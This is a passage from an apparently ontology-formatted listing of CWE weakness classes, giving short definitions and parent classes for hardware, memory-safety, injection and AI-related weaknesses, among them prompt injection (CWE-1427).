definition: The ASP.NET application does not use, or incorrectly uses, the model validation framework.
subclass of: CWE-1173

DMA Device Enabled Too Early in Boot Phase
type: Class
cwe-id: CWE-1190
definition: The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.
subclass of: CWE-696

On-Chip Debug and Test Interface With Improper Access Control
type: Class
cwe-id: CWE-1191
definition: The chip does not implement or does not correctly perform access control to check whether users are authorized to access internal registers and test modes through the physical debug/test interface.
subclass of: CWE-284

Improper Identifier for IP Block used in System-On-Chip (SOC)
type: Class
label: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers
cwe-id: CWE-1192
definition: The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.
subclass of: CWE-657

Power-On of Untrusted Execution Core Before Enabling Fabric Access Control
type: Class
cwe-id: CWE-1193
definition: The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.
subclass of: CWE-696

ASP.NET Misconfiguration: Missing Custom Error Page
type: Class
cwe-id: CWE-12
definition: An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.
subclass of: Missing Custom Error Page

Failure to Disable Reserved Bits
type: Class
cwe-id: CWE-1209
definition: The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.
subclass of: CWE-710

Stack-based Buffer Overflow
type: Class
cwe-id: CWE-121
definition: A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).
synonym: Stack Overflow
subclass of: CWE-787
subclass of: CWE-788

Heap-based Buffer Overflow
type: Class
cwe-id: CWE-122
definition: A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
subclass of: CWE-787
subclass of: CWE-788

Incorrect Register Defaults or Module Parameters
type: Class
cwe-id: CWE-1221
definition: Hardware description language code incorrectly defines register defaults or hardware Intellectual Property (IP) parameters to insecure values.
subclass of: CWE-1419
subclass of: CWE-665

Insufficient Granularity of Address Regions Protected by Register Locks
type: Class
cwe-id: CWE-1222
definition: The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.
subclass of: Insufficient Granularity of Access Control

Race Condition for Write-Once Attributes
type: Class
cwe-id: CWE-1223
definition: A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.
subclass of: CWE-362

Improper Restriction of Write-Once Bit Fields
type: Class
cwe-id: CWE-1224
definition: The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.
subclass of: CWE-284

Write-what-where Condition
type: Class
cwe-id: CWE-123
definition: Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
subclass of: CWE-787

Improper Prevention of Lock Bit Modification
type: Class
cwe-id: CWE-1231
definition: The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.
subclass of: CWE-284

Improper Lock Behavior After Power State Transition
type: Class
cwe-id: CWE-1232
definition: Register lock bit protection disables changes to system configuration once the bit is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes) causing the system configuration to be changeable.
subclass of: CWE-667

Security-Sensitive Hardware Controls with Missing Lock Bit Protection
type: Class
cwe-id: CWE-1233
definition: The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.
subclass of: CWE-284
subclass of: CWE-667

Hardware Internal or Debug Modes Allow Override of Locks
type: Class
cwe-id: CWE-1234
definition: System configuration protection may be bypassed during debug mode.
subclass of: CWE-667

Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations
type: Class
cwe-id: CWE-1235
definition: The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.
subclass of: CWE-400

Improper Neutralization of Formula Elements in a CSV File
type: Class
cwe-id: CWE-1236
definition: The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.
synonym: CSV Injection
synonym: Excel Macro Injection
synonym: Formula Injection
subclass of: CWE-74

Improper Zeroization of Hardware Register
type: Class
cwe-id: CWE-1239
definition: The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.
subclass of: CWE-226

Buffer Underwrite ('Buffer Underflow')
type: Class
cwe-id: CWE-124
definition: The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
synonym: buffer underrun
subclass of: Access of Memory Location Before Start of Buffer
subclass of: CWE-787

Use of a Cryptographic Primitive with a Risky Implementation
type: Class
cwe-id: CWE-1240
definition: To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation.
subclass of: CWE-327

Use of Predictable Algorithm in Random Number Generator
type: Class
cwe-id: CWE-1241
definition: The device uses an algorithm that is predictable and generates a pseudo-random number.
subclass of: CWE-330

Inclusion of Undocumented Features or Chicken Bits
type: Class
cwe-id: CWE-1242
definition: The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.
subclass of: CWE-284
subclass of: Hidden Functionality

Sensitive Non-Volatile Information Not Protected During Debug
type: Class
cwe-id: CWE-1243
definition: Access to security-sensitive information stored in fuses is not limited during debug.
subclass of: Improper Physical Access Control

Internal Asset Exposed to Unsafe Debug Access Level or State
type: Class
cwe-id: CWE-1244
definition: The product uses physical debug or test interfaces with support for multiple access levels, but it assigns the wrong debug access level to an internal asset, providing unintended access to the asset from untrusted debug agents.
subclass of: CWE-863

Improper Finite State Machines (FSMs) in Hardware Logic
type: Class
cwe-id: CWE-1245
definition: Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.
subclass of: CWE-684

Improper Write Handling in Limited-write Non-Volatile Memories
type: Class
cwe-id: CWE-1246
definition: The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories.
subclass of: CWE-400

Improper Protection Against Voltage and Clock Glitches
type: Class
cwe-id: CWE-1247
definition: The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.
subclass of: CWE-1384

Semiconductor Defects in Hardware Logic with Security-Sensitive Implications
type: Class
cwe-id: CWE-1248
definition: The security-sensitive hardware module contains semiconductor defects.
subclass of: CWE-693

Application-Level Admin Tool with Inconsistent View of Underlying Operating System
type: Class
cwe-id: CWE-1249
definition: The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.
synonym: Ghost in the Shell
subclass of: Improper Preservation of Consistency Between Independent Representations of Shared State

Mirrored Regions with Different Values
type: Class
cwe-id: CWE-1251
definition: The product's architecture mirrors regions without ensuring that their contents always stay in sync.
subclass of: Improper Preservation of Consistency Between Independent Representations of Shared State

CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations
type: Class
cwe-id: CWE-1252
definition: The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.
subclass of: CWE-284

Incorrect Selection of Fuse Values
type: Class
cwe-id: CWE-1253
definition: The logic level used to set a system to a secure state relies on a fuse being unblown. An attacker can set the system to an insecure state merely by blowing the fuse.
subclass of: CWE-693

Incorrect Comparison Logic Granularity
type: Class
cwe-id: CWE-1254
definition: The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes.
subclass of: Observable Timing Discrepancy
subclass of: CWE-697

Comparison Logic is Vulnerable to Power Side-Channel Attacks
type: Class
cwe-id: CWE-1255
definition: A device's real time power consumption may be monitored during security token evaluation and the information gleaned may be used to determine the value of the reference token.
subclass of: Improper Protection of Physical Side Channels

Improper Restriction of Software Interfaces to Hardware Features
type: Class
cwe-id: CWE-1256
definition: The product provides software-controllable device functionality for capabilities such as power and clock management, but it does not properly limit functionality that can lead to modification of hardware memory or register bits, or the ability to observe physical side channels.
subclass of: CWE-285

Improper Access Control Applied to Mirrored or Aliased Memory Regions
type: Class
cwe-id: CWE-1257
definition: Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by the hardware. A possible result is that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region.
subclass of: CWE-284

Exposure of Sensitive System Information Due to Uncleared Debug Information
type: Class
cwe-id: CWE-1258
definition: The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered.
subclass of: CWE-200
subclass of: Improper Removal of Sensitive Information Before Storage or Transfer

Improper Restriction of Security Token Assignment
type: Class
cwe-id: CWE-1259
definition: The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.
subclass of: CWE-284

Buffer Over-read
type: Class
cwe-id: CWE-126
definition: The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.
subclass of: Out-of-bounds Read
subclass of: CWE-788

Improper Handling of Overlap Between Protected Memory Ranges
type: Class
cwe-id: CWE-1260
definition: The product allows address regions to overlap, which can result in the bypassing of intended memory protection.
subclass of: CWE-284

Improper Handling of Single Event Upsets
type: Class
cwe-id: CWE-1261
definition: The hardware logic does not effectively handle when single-event upsets (SEUs) occur.
subclass of: CWE-1384

Improper Access Control for Register Interface
type: Class
cwe-id: CWE-1262
definition: The product uses memory-mapped I/O registers that act as an interface to hardware functionality from software, but there is improper access control to those registers.
subclass of: CWE-284

Hardware Logic with Insecure De-Synchronization between Control and Data Channels
type: Class
cwe-id: CWE-1264
definition: The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete.
subclass of: CWE-821

Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls
type: Class
cwe-id: CWE-1265
definition: During execution of non-reentrant code, the product performs a call that unintentionally produces a nested invocation of the non-reentrant code.
subclass of: CWE-691

Improper Scrubbing of Sensitive Data from Decommissioned Device
type: Class
cwe-id: CWE-1266
definition: The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect.
subclass of: CWE-404

Policy Uses Obsolete Encoding
type: Class
cwe-id: CWE-1267
definition: The product uses an obsolete encoding mechanism to implement access controls.
subclass of: CWE-284

Policy Privileges are not Assigned Consistently Between Control and Data Agents
type: Class
cwe-id: CWE-1268
definition: The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies.
subclass of: CWE-284

Product Released in Non-Release Configuration
type: Class
cwe-id: CWE-1269
definition: The product released to market is released in pre-production or manufacturing configuration.
subclass of: CWE-693

Buffer Under-read
type: Class
cwe-id: CWE-127
definition: The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.
subclass of: Out-of-bounds Read
subclass of: Access of Memory Location Before Start of Buffer

Generation of Incorrect Security Tokens
type: Class
cwe-id: CWE-1270
definition: The product implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens generated in the system are incorrect.
subclass of: CWE-284

Uninitialized Value on Reset for Registers Holding Security Settings
type: Class
cwe-id: CWE-1271
definition: Security-critical logic is not set to a known value on reset.
subclass of: Missing Initialization of Resource

Sensitive Information Uncleared Before Debug/Power State Transition
type: Class
cwe-id: CWE-1272
definition: The product performs a power or debug state transition, but it does not clear sensitive information that should no longer be accessible due to changes to information access restrictions.
subclass of: CWE-226

Device Unlock Credential Sharing
type: Class
cwe-id: CWE-1273
definition: The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information.
subclass of: CWE-200

Improper Access Control for Volatile Memory Containing Boot Code
type: Class
cwe-id: CWE-1274
definition: The product conducts a secure-boot process that transfers bootloader code from Non-Volatile Memory (NVM) into Volatile Memory (VM), but it does not have sufficient access control or other protections for the Volatile Memory.
subclass of: CWE-284

Sensitive Cookie with Improper SameSite Attribute
type: Class
cwe-id: CWE-1275
definition: The SameSite attribute for sensitive cookies is not set, or an insecure value is used.
subclass of: CWE-923

Hardware Child Block Incorrectly Connected to Parent System
type: Class
cwe-id: CWE-1276
definition: Signals between a hardware IP and the parent system design are incorrectly connected causing security risks.
subclass of: CWE-284

Firmware Not Updateable
type: Class
cwe-id: CWE-1277
definition: The product does not provide its users with the ability to update or patch its firmware to address any vulnerabilities or weaknesses that may be present.
subclass of: Reliance on Component That is Not Updateable

Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques
type: Class
cwe-id: CWE-1278
definition: Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.
subclass of: CWE-693

Cryptographic Operations are run Before Supporting Units are Ready
type: Class
cwe-id: CWE-1279
definition: Performing cryptographic operations without ensuring that the supporting inputs are ready to supply valid data may compromise the cryptographic result.
subclass of: CWE-665
subclass of: CWE-696

Wrap-around Error
type: Class
cwe-id: CWE-128
definition: Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.
subclass of: CWE-682

Access Control Check Implemented After Asset is Accessed
type: Class
cwe-id: CWE-1280
definition: A product's hardware-based access control check occurs after the asset has been accessed.
subclass of: CWE-284
subclass of: CWE-696

Sequence of Processor Instructions Leads to Unexpected Behavior
type: Class
cwe-id: CWE-1281
definition: Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.
subclass of: CWE-691

Assumed-Immutable Data is Stored in Writable Memory
type: Class
cwe-id: CWE-1282
definition: Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed or updated in the field.
subclass of: CWE-668

Mutable Attestation or Measurement Reporting Data
type: Class
cwe-id: CWE-1283
definition: The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary.
subclass of: CWE-284

Improper Validation of Specified Type of Input
type: Class
cwe-id: CWE-1287
definition: The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.
subclass of: CWE-20

Improper Validation of Consistency within Input
type: Class
cwe-id: CWE-1288
definition: The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent.
subclass of: CWE-20

Improper Validation of Unsafe Equivalence in Input
type: Class
cwe-id: CWE-1289
definition: The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.
subclass of: CWE-20

Improper Validation of Array Index
type: Class
cwe-id: CWE-129
definition: The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
synonym: array index underflow
synonym: index-out-of-range
synonym: out-of-bounds array index
subclass of: Improper Validation of Specified Index, Position, or Offset in Input

Incorrect Decoding of Security Identifiers
type: Class
cwe-id: CWE-1290
definition: The product implements a decoding mechanism to decode certain bus-transaction signals to security identifiers. If the decoding is implemented incorrectly, then untrusted agents can now gain unauthorized access to the asset.
subclass of: CWE-284

Public Key Re-Use for Signing both Debug and Production Code
type: Class
cwe-id: CWE-1291
definition: The same public key is used for signing both debug and production code.
subclass of: CWE-693

Incorrect Conversion of Security Identifiers
type: Class
cwe-id: CWE-1292
definition: The product implements a conversion mechanism to map certain bus-transaction signals to security identifiers. However, if the conversion is incorrectly implemented, untrusted agents can gain unauthorized access to the asset.
subclass of: CWE-284

Missing Source Correlation of Multiple Independent Data
type: Class
cwe-id: CWE-1293
definition: The product relies on one source of data, preventing the ability to detect if an adversary has compromised a data source.
subclass of: CWE-345

Debug Messages Revealing Unnecessary Information
type: Class
cwe-id: CWE-1295
definition: The product fails to adequately prevent the revealing of unnecessary and potentially sensitive system information within debugging messages.
subclass of: CWE-200

Incorrect Chaining or Granularity of Debug Components
type: Class
cwe-id: CWE-1296
definition: The product's debug components contain incorrect chaining or granularity of debug components.
subclass of: CWE-284

Unprotected Confidential Information on Device is Accessible by OSAT Vendors
type: Class
cwe-id: CWE-1297
definition: The product does not adequately protect confidential information on the device from being accessed by Outsourced Semiconductor Assembly and Test (OSAT) vendors.
subclass of: CWE-285

Hardware Logic Contains Race Conditions
type: Class
cwe-id: CWE-1298
definition: A race condition in the hardware logic results in undermining security guarantees of the system.
subclass of: CWE-362

Missing Protection Mechanism for Alternate Hardware Interface
type: Class
cwe-id: CWE-1299
definition: The lack of protections on alternate paths to access control-protected assets (such as unprotected shadow registers and other external facing unguarded interfaces) allows an attacker to bypass existing protections to the asset that are only performed against the primary path.
subclass of: Authentication Bypass Using an Alternate Path or Channel
subclass of: CWE-420

ASP.NET Misconfiguration: Password in Configuration File
type: Class
cwe-id: CWE-13
definition: Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.
subclass of: CWE-260

Improper Handling of Length Parameter Inconsistency
type: Class
cwe-id: CWE-130
definition: The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
synonym: length manipulation
synonym: length tampering
subclass of: Improper Handling of Inconsistent Structural Elements

Missing Security Identifier
type: Class
label: Missing Source Identifier in Entity Transactions on a System-On-Chip (SOC)
cwe-id: CWE-1302
definition: The product implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. A transaction is sent without a security identifier.
subclass of: Insecure Security Identifier Mechanism

Non-Transparent Sharing of Microarchitectural Resources
type: Class
cwe-id: CWE-1303
definition: Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.
subclass of: Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
subclass of: CWE-203

Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation
type: Class
cwe-id: CWE-1304
definition: The product performs a power save/restore operation, but it does not ensure that the integrity of the configuration state is maintained and/or verified between the beginning and ending of the operation.
subclass of: CWE-284

Missing Ability to Patch ROM Code
type: Class
cwe-id: CWE-1310
definition: Missing an ability to patch ROM code may leave a System or System-on-Chip (SoC) in a vulnerable state.
subclass of: Reliance on Component That is Not Updateable

Improper Translation of Security Attributes by Fabric Bridge
type: Class
cwe-id: CWE-1311
definition: The bridge incorrectly translates security attributes from either trusted to untrusted or from untrusted to trusted when converting from one fabric protocol to another.
subclass of: CWE-284

Missing Protection for Mirrored Regions in On-Chip Fabric Firewall
type: Class
cwe-id: CWE-1312
definition: The firewall in an on-chip fabric protects the main addressed region, but it does not protect any mirrored memory or memory-mapped-IO (MMIO) regions.
subclass of: CWE-284

Hardware Allows Activation of Test or Debug Logic at Runtime
type: Class
cwe-id: CWE-1313
definition: During runtime, the hardware allows for test or debug logic (feature) to be activated, which allows for changing the state of the hardware. This feature can alter the intended behavior of the system and allow for alteration and leakage of sensitive data by an adversary.
subclass of: CWE-284

Missing Write Protection for Parametric Data Values
type: Class
cwe-id: CWE-1314
definition: The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure.
subclass of: CWE-862

Improper Setting of Bus Controlling Capability in Fabric End-point
type: Class
cwe-id: CWE-1315
definition: The bus controller enables bits in the fabric end-point to allow responder devices to control transactions on the fabric.
subclass of: CWE-284

Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges
type: Class
cwe-id: CWE-1316
definition: The address map of the on-chip fabric has protected and unprotected regions overlapping, allowing an attacker to bypass access control to the overlapping portion of the protected region.
subclass of: CWE-284

Improper Access Control in Fabric Bridge
type: Class
cwe-id: CWE-1317
definition: The product uses a fabric bridge for transactions between two Intellectual Property (IP) blocks, but the bridge does not properly perform the expected privilege, identity, or other access control checks between those IP blocks.
subclass of: CWE-284

Missing Support for Security Features in On-chip Fabrics or Buses
type: Class
cwe-id: CWE-1318
definition: On-chip fabrics or buses either do not support or are not configured to support privilege separation or other security features, such as access control.
subclass of: CWE-693

Improper Protection against Electromagnetic Fault Injection (EM-FI)
type: Class
cwe-id: CWE-1319
definition: The device is susceptible to electromagnetic fault injection attacks, causing device internal information to be compromised or security mechanisms to be bypassed.
subclass of: CWE-693

Improper Protection for Outbound Error Messages and Alert Signals
type: Class
cwe-id: CWE-1320
definition: Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts.
subclass of: CWE-284

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
type: Class
cwe-id: CWE-1321
definition: The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
subclass of: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Use of Blocking Code in Single-threaded, Non-blocking Context
type: Class
cwe-id: CWE-1322
definition: The product uses a non-blocking model that relies on a single threaded process for features such as scalability, but it contains code that can block when it is invoked.
subclass of: CWE-834

Improper Management of Sensitive Trace Data
type: Class
cwe-id: CWE-1323
definition: Trace data collected from several sources on the System-on-Chip (SoC) is stored in unprotected locations or transported to untrusted agents.
subclass of: CWE-284

Improperly Controlled Sequential Memory Allocation
type: Class
cwe-id: CWE-1325
definition: The product manages a group of objects or resources and performs a separate memory allocation for each object, but it does not properly limit the total amount of memory that is consumed by all of the combined objects.
synonym: Stack Exhaustion
subclass of: CWE-770

Missing Immutable Root of Trust in Hardware
type: Class
cwe-id: CWE-1326
definition: A missing immutable root of trust in the hardware results in the ability to bypass secure boot or execute untrusted or adversarial boot code.
subclass of: CWE-693

Binding to an Unrestricted IP Address
type: Class
cwe-id: CWE-1327
definition: The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.
subclass of: CWE-668

Security Version Number Mutable to Older Versions
type: Class
cwe-id: CWE-1328
definition: Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions.
subclass of: CWE-285

Remanent Data Readable after Memory Erase
type: Class
cwe-id: CWE-1330
definition: Confidential information stored in memory circuits is readable or recoverable after being cleared or erased.
subclass of: Insufficient or Incomplete Data Removal within Hardware Component

Improper Isolation of Shared Resources in Network On Chip (NoC)
type: Class
cwe-id: CWE-1331
definition: The Network On Chip (NoC) does not isolate or incorrectly isolates its on-chip-fabric and internal resources such that they are shared between trusted and untrusted agents, creating timing channels.
subclass of: Improper Isolation or Compartmentalization
subclass of: CWE-668

Improper Handling of Faults that Lead to Instruction Skips
type: Class
cwe-id: CWE-1332
definition: The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.
subclass of: CWE-1384

Inefficient Regular Expression Complexity
type: Class
cwe-id: CWE-1333
definition: The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles.
synonym: Catastrophic backtracking
synonym: ReDoS
synonym: Regular Expression Denial of Service
subclass of: Inefficient Algorithmic Complexity

Unauthorized Error Injection Can Degrade Hardware Redundancy
type: Class
cwe-id: CWE-1334
definition: An unauthorized agent can inject errors into a redundant block to deprive the system of redundancy or put the system in a degraded operating mode.
subclass of: CWE-284

Incorrect Bitwise Shift of Integer
type: Class
cwe-id: CWE-1335
definition: An integer value is specified to be shifted by a negative amount or an amount greater than or equal to the number of bits contained in the value causing an unexpected or indeterminate result.
subclass of: CWE-682

Improper Neutralization of Special Elements Used in a Template Engine
type: Class
cwe-id: CWE-1336
definition: The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
synonym: Client-Side Template Injection / CSTI
synonym: Server-Side Template Injection / SSTI
subclass of: CWE-94

Improper Protections Against Hardware Overheating
type: Class
cwe-id: CWE-1338
definition: A hardware device is missing or has inadequate protection features to prevent overheating.
subclass of: CWE-693

Insufficient Precision or Accuracy of a Real Number
type: Class
cwe-id: CWE-1339
definition: The product processes a real number with an implementation in which the number's representation does not preserve required accuracy and precision in its fractional part, causing an incorrect result.
subclass of: CWE-682

Use of Externally-Controlled Format String
type: Class
cwe-id: CWE-134
definition: The product uses a function that accepts a format string as an argument, but the format string originates from an external source.
subclass of: CWE-668

Information Exposure through Microarchitectural State after Transient Execution
type: Class
cwe-id: CWE-1342
definition: The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution.
subclass of: CWE-226

Incorrect Calculation of Multi-Byte String Length
type: Class
cwe-id: CWE-135
definition: The product does not correctly calculate the length of strings that can contain wide or multi-byte characters.
subclass of: CWE-682

Improper Handling of Hardware Behavior in Exceptionally Cold Environments
type: Class
cwe-id: CWE-1351
definition: A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures.
subclass of: CWE-1384

Missing Origin Validation in WebSockets
type: Class
cwe-id: CWE-1385
definition: The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.
synonym: Cross-Site WebSocket hijacking (CSWSH)
subclass of: Origin Validation Error

Insecure Operation on Windows Junction / Mount Point
type: Class
cwe-id: CWE-1386
definition: The product opens a file or directory, but it does not properly prevent the name from being associated with a junction or mount point to a destination that is outside of the intended control sphere.
subclass of: CWE-59

Incorrect Parsing of Numbers with Different Radices
type: Class
cwe-id: CWE-1389
definition: The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix).
subclass of: CWE-704

Use of Default Password
type: Class
type: NamedIndividual
cwe-id: CWE-1393
definition: The product uses default passwords for potentially critical functionality.
weakness-of: UserAccount
subclass of: Restriction
  on property: weakness-of
  some values from: UserAccount
subclass of: Use of Default Credentials

Use of Default Cryptographic Key
type: Class
cwe-id: CWE-1394
definition: The product uses a default cryptographic key for potentially critical functionality.
subclass of: Use of Default Credentials

Dependency on Vulnerable Third-Party Component
type: Class
cwe-id: CWE-1395
definition: The product has a dependency on a third-party component that contains one or more known vulnerabilities.
subclass of: CWE-657

Compiler Removal of Code to Clear Buffers
type: Class
cwe-id: CWE-14
definition: Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."
subclass of: Compiler Optimization Removal or Modification of Security-critical Code

Improper Neutralization of Parameter/Argument Delimiters
type: Class
cwe-id: CWE-141
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.
subclass of: CWE-140

Improper Neutralization of Value Delimiters
type: Class
cwe-id: CWE-142
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.
subclass of: CWE-140

Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution
type: Class
cwe-id: CWE-1421
definition: A processor event may allow transient operations to access architecturally restricted data (for example, in another address space) in a shared microarchitectural structure (for example, a CPU cache), potentially exposing the data over a covert channel.
subclass of: CWE-1420

Exposure of Sensitive Information caused by Incorrect Data Forwarding during Transient Execution
type: Class
cwe-id: CWE-1422
definition: A processor event or prediction may allow incorrect or stale data to be forwarded to transient operations, potentially exposing data over a covert channel.
subclass of: CWE-1420

Exposure of Sensitive Information caused by Shared Microarchitectural Predictor State that Influences Transient Execution
type: Class
cwe-id: CWE-1423
definition: Shared microarchitectural predictor state may allow code to influence transient execution across a hardware boundary, potentially exposing data that is accessible beyond the boundary over a covert channel.
subclass of: CWE-1420

Improper Validation of Generative AI Output
type: Class
cwe-id: CWE-1426
definition: The product invokes a generative AI/ML component whose behaviors and outputs cannot be directly controlled, but the product does not validate or insufficiently validates the outputs to ensure that they align with the intended security, content, or privacy policy.
subclass of: CWE-707

Improper Neutralization of Input Used for LLM Prompting
type: Class
cwe-id: CWE-1427
definition: The product uses externally-provided data to build prompts provided to large language models (LLMs), but the way these prompts are constructed causes the LLM to fail to distinguish between user-supplied inputs and developer provided system directives.
synonym: prompt injection
subclass of: CWE-77

Reliance on HTTP instead of HTTPS
type: Class
cwe-id: CWE-1428
definition: The product provides or relies on use of HTTP communications when HTTPS is available.
subclass of: CWE-319

Missing Security-Relevant Feedback for Unexecuted Operations in Hardware Interface
type: Class
cwe-id: CWE-1429
definition: The product has a hardware interface that silently discards operations in situations for which feedback would be security-relevant, such as the timely detection of failures or attacks.
subclass of: Omission of Security-relevant Information

Improper Neutralization of Record Delimiters
type: Class
cwe-id: CWE-143
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.
subclass of: CWE-140

Driving Intermediate Cryptographic State/Results to Hardware Module Outputs
type: Class
cwe-id: CWE-1431
definition: The product uses a hardware module implementing a cryptographic algorithm that writes sensitive information about the intermediate state or results of its cryptographic operations via one of its output wires (typically the output port containing the final result).
subclass of: CWE-200

Improper Neutralization of Line Delimiters
type: Class
cwe-id: CWE-144
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.
subclass of: CWE-140

Improper Neutralization of Section Delimiters
type: Class
cwe-id: CWE-145
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.
subclass of: CWE-140

Improper Neutralization of Expression/Command Delimiters
type: Class
cwe-id: CWE-146
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.
subclass of: CWE-140

Improper Neutralization of Input Leaders
type: Class
cwe-id: CWE-148
definition: The product does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.
subclass of: CWE-138

Improper Neutralization of Quoting Syntax
type: Class
cwe-id: CWE-149
